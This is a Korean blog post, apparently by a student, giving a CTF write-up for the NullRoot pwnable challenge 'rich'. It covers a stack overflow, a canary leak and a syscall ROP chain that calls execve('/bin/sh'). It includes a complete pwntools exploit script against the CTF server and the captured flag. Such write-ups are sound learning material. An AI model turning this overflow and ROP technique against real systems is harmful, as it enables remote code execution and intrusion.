티스토리 뷰

pwnable/CTF write-up

64bit srop write-up

ba0bab 2018. 8. 5. 15:56



널루트 테스트에서 포너블 문제를 못 풀 것 같았는데, 운이 좋게 rich문제를 풀게 되었고 그동안 공부한 포너블 지식들을 잘 활용한 것 같아 스스로 뿌듯함을 느끼게 해준 문제였습니다. 또한 syscall에 대해 얕은 지식만 있었는데, 이 문제를 통해 처음으로 syscall을 이용한 rop로 exploit을 성공하였습니다. 저번 1차 테스트와 같이 널루트문제를 풀면서 많은 것을 찾아보며 지식을 배운 것 같습니다. 고등학생이라 단지 문제만 공유받는 중이지만 생각보다 얻는게 많은 것 같습니다. 좋은 문제 감사합니다.


1. Binary




이 바이너리는 ELF 64bit 파일입니다. static 컴파일이 되어 있었고, strip된 파일이였습니다.

static 컴파일과 strip이 되어있어서 분석이 어려웠지만 gdb로 흐름을 쫓으며 분석하였습니다.


2. Vulnerability



메뉴 2. Edit message에서 message를 입력 받는데, 여기서 buffer overflow 취약점이 발생합니다.



세번째 인자인 edx 가 400으로 세팅 되어 있습니다. 이는 1024만큼 입력을 받을 수 있게 됩니다.



sys_input? 함수를 보면 eax를 0으로 세팅하고 syscall 하는 것을 볼 수 있습니다. 64비트에서 sys_read는 rax가 0으로 세팅되어있으면 호출 됩니다.



입력을 받는 v8변수는 bp - 0xd0 위치에 있으며 bp - 208 위치에 있습니다. 1024만큼 입력을 받을 수 있으니 bof가 가능합니다.


하지만 bp - 0x8 위치에 canary 변수가 있는 것을 확인 할 수 있었습니다. 하지만 이는 1. show 메뉴에서 leak이 가능했습니다.


3. exploit



static 컴파일과 strip 이 되어있어서 일반적인 rop는 힘들어보였습니다. 다만 이 문제에서 syscall을 이용하기 때문에 관련된 정보를 공부하였고, syscall을 이용해 rop가 가능하다는 점을 알았습니다. canary가 활성화 되어있기 때문에  canary를 먼저 leak을 먼저 해준 다음, 다시 input에서 overflow로 rop해주면 되는 문제였습니다.


canary는 널바이트 + 7byte 이렇게 구성이 되는데, 1바이트를 overflow하면 문자열의 끝을 인식 못해 뒤에 바이트까지 leak이 됩니다.


syscall rop 같은 경우는 각 syscall rax number가 정해져있는데, 먼저 bss 영역에  “/bin/sh”을 적기 위해 인자 세팅 후 read(rax == 0) syscall; ret; 가젯으로 호출한뒤 chaining을 통해 rdi에 bss를 세팅하고 rsi에 0을 세팅 한 뒤 rax에는 execve의  rax number인 59를 세팅해 call 했습니다.


밑에는 exploit.py입니다.


>> exploiy.py


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

from pwn import *

#s = process("./rich")

s = remote("null2root.org", 1797)

e = ELF("./rich")

#context.log_level = 'debug'

gadget = 0x0045e395 # syscall ; ret

prdi = 0x00400535

prsi = 0x004017b7

prax = 0x0046dcb6 # pop rax ; pop rdx ; pop rbx ; ret

s.recvuntil("> ")

s.sendline("2")

s.recvuntil(": ")

leak_payload = "A"*201

s.send(leak_payload)

s.recvuntil("> ")

s.sendline("1")

s.recvuntil("A"*201)

canary = u64("\x00"+s.recv(7))

log.success("canary : "+ hex(canary))

s.recvuntil("> ")

s.sendline("2")

s.recvuntil(": ")

payload = "A"*200 + p64(canary)+"AAAAAAAA"

payload += p64(prdi)

payload += p64(0)

payload += p64(prsi)

payload += p64(e.bss())

payload += p64(prax)

payload += p64(0) + p64(0xff) + p64(0)

payload += p64(gadget)

payload += p64(prdi)

payload += p64(e.bss())

payload += p64(prsi)

payload += p64(0)

payload += p64(prax)

payload += p64(59) + p64(0) + p64(0)

payload += p64(gadget)

s.send(payload)

s.recvuntil("> ")

s.sendline("3")

s.recv()

s.send("/bin/sh\x00")

s.recv()

s.interactive()

Colored by Color Scripter

cs




FLAG : n2r{enjoying_rich_rop_with_static_binary}


정말 기분 좋았습니다.

Comments